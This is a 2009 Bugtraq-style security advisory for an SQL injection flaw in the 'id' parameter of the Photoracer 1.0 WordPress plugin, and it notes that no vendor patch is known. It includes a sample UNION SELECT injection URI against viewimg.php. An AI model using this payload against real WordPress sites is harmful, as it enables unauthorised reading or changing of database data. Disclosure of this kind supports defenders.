WordPress Photoracer Plugin 'id' Parameter SQL Injection Vulnerability

Bugtraq ID:	35382
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 15 2009 12:00AM
Updated:	Jun 19 2009 07:19PM
Credit:	Kacper
Vulnerable:	Paolo Palmonari Photoracer 1.0
Not Vulnerable:

WordPress Photoracer Plugin 'id' Parameter SQL Injection Vulnerability

The Photoracer plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The issue affects Photoracer 1.0; other versions may also be affected.

WordPress Photoracer Plugin 'id' Parameter SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,user(),6,7,8--

WordPress Photoracer Plugin 'id' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

WordPress Photoracer Plugin 'id' Parameter SQL Injection Vulnerability

References:

• Photoracer Homepage (Paolo Palmonari)
  
• Wordpress church_admin Plugin "id" Cross-Site Scripting Vulnerability (Sammy Forgit)